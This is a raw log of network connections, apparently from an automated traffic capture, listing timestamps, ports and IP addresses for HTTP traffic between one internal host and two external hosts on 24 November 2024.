Nov 24, 2024 12:24:27.365660906 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.365721941 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.365748882 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.365796089 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.366728067 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.366780996 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.366807938 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.366906881 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.367850065 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.367898941 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.367995024 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.368082047 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.368944883 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.369000912 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.369040012 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.369077921 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.370055914 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.370100021 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.370136976 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.370193958 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.371149063 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.371203899 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.371241093 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.371334076 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.372272968 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.372314930 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.372376919 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.372505903 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.373342037 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.373383999 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.373441935 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.373482943 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.374469995 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.374521017 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.374555111 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.374592066 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.375843048 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.375891924 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.375925064 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.375963926 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.376699924 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.376964092 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.377001047 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.377260923 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.377302885 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.377321005 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.377334118 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.377358913 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.377376080 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.377410889 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.378046036 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.378149033 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.378179073 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.378189087 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.378189087 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.378215075 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.378283024 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.378757954 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.378807068 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.378962994 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.378964901 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.379057884 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.379065037 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.379090071 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.379432917 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.379543066 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.379631042 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.380017996 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.380073071 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.380114079 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.380155087 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.380281925 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.380398989 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.380431890 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.381077051 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.381133080 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.381154060 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.381165981 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.381201029 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.381258011 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.381316900 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.382023096 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.382122040 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.382168055 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.382217884 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.382230043 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.382263899 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.383069992 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.383192062 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.383235931 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.383532047 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.383585930 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.383641958 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.383770943 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.384043932 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.384057999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.384104967 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.384504080 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.384552956 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.384583950 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.384629965 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.384712934 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.384828091 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.384871960 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.385588884 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.385607958 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.385618925 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.385633945 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.385647058 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.385693073 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.385730028 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.386542082 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.386641026 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.386728048 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.386734962 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.386774063 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.386792898 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.386826992 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.387320995 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.387403965 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.387487888 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.387733936 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.387773991 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.387778044 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.387811899 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.388173103 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.388272047 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.388489008 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.388828039 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.388870955 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.388912916 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.388963938 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.389024973 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.389118910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.389156103 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.389925003 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.389960051 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.389971972 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.390002966 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.390038013 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.390038967 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.390075922 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.390830040 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.390957117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.391083956 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.391092062 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.391103983 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.391138077 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.391747952 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.391977072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.392057896 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.392143011 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.392183065 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.392230988 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.392316103 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.392561913 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.392680883 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.392957926 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.393265009 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.393307924 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.393425941 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.393464088 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.393482924 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.393493891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.393528938 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.394315958 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.394387007 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.394398928 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.394447088 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.394448042 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.394485950 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.394646883 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.395188093 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.395308971 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.395365000 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.395477057 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.395529985 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.395584106 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.395632029 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.396111012 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.396209955 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.396244049 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.396615028 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.396723986 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.396764994 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.396934032 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.397068024 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.397125006 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.397744894 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.397795916 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.397841930 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.397852898 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.397886038 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.397933960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.397978067 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.398704052 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.398792028 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.398806095 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.398818016 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.398843050 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.398844004 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.398869991 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.399594069 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.399712086 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.399764061 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.399902105 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.399952888 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.400031090 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.400074959 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.400734901 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.400806904 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.400847912 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.401145935 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.401211977 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.401272058 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.401335955 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.401412010 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.401496887 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.401648045 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.402096033 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.402137995 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.402254105 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.402282000 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.402302980 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.402456045 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.402498960 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.402967930 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.403011084 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.403098106 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.403110027 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.403136015 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.403199911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.403239012 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.404011011 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.404057980 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.404069901 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.404100895 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.404133081 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.404136896 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.404191971 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.404865980 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.404973030 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.405014038 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.405193090 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.405359983 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.405383110 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.405421972 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.405734062 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.405849934 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.405896902 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.406244040 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.406294107 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.406332970 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.406429052 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.406588078 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.406703949 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.406761885 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.407437086 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.407488108 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.407527924 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.407538891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.407551050 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.407577991 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.407596111 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.408353090 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.408461094 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.408514023 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.408514977 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.408524990 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.408560038 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.409244061 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.409348011 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.409473896 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.409580946 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.409621000 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.409674883 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.409727097 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.410168886 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.410259008 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.410301924 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.410713911 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.410769939 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.411032915 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.411043882 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.411075115 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.411128044 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.411170959 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.411844969 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.411906958 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.411910057 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.411921024 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.411947966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.412203074 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.412256956 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.412779093 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.412846088 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.412889957 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.412926912 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.412939072 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:27.412976027 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:27.413657904 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.413777113 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.413832903 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.414563894 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.414654970 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.414691925 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.415414095 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.415620089 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.415664911 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.416359901 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.416487932 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.416768074 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.417139053 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.417213917 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.417285919 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.418030024 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.418135881 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.418359041 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.419011116 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.427989960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.428036928 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.428075075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.428400993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.428467989 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.428488970 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.429316044 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.429357052 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.429425955 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.430241108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.430296898 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.430345058 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.431039095 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.431197882 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.431242943 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.431915998 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.431987047 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.432030916 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:27.432818890 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.432837009 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:27.432887077 CET	49792	80	192.168.2.4	34.116.198.130
